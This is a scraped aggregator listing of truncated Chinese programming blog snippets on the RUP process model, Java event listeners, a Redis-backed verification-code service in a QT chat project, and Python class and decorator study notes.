简介 RUP 是由 IBM Rational 公司提出的一种 面向对象的软件工程过程模型&#xff0c;以 UML 为建模语言&#xff0c;是一种 以用例为驱动、以架构为中心、迭代式、增量开发的过程模型。 三大特征 特征说明以用例为驱动&#xff08;Use Case Driven&#xff09;需求分析和测…...

深入解析Java事件监听机制与应用

Java事件监听机制详解 一、事件监听模型组成 事件源&#xff08;Event Source&#xff09; 产生事件的对象&#xff08;如按钮、文本框等组件&#xff09; 事件对象&#xff08;Event Object&#xff09; 封装事件信息的对象&#xff08;如ActionEvent包含事件源信息&#xf…...

QT聊天项目DAY11

1. 验证码服务 1.1 用npm安装redis npm install redis 1.2 修改config.json配置文件 1.3 新建redis.js const config_module require(./config) const Redis require("ioredis");// 创建Redis客户端实例 const RedisCli new Redis({host: config_module.redis_…...

Python训练营---Day29

知识点回顾 类的装饰器装饰器思想的进一步理解&#xff1a;外部修改、动态类方法的定义&#xff1a;内部定义和外部定义 作业&#xff1a;复习类和函数的知识点&#xff0c;写下自己过去29天的学习心得&#xff0c;如对函数和类的理解&#xff0c;对python这门工具的理解等&…...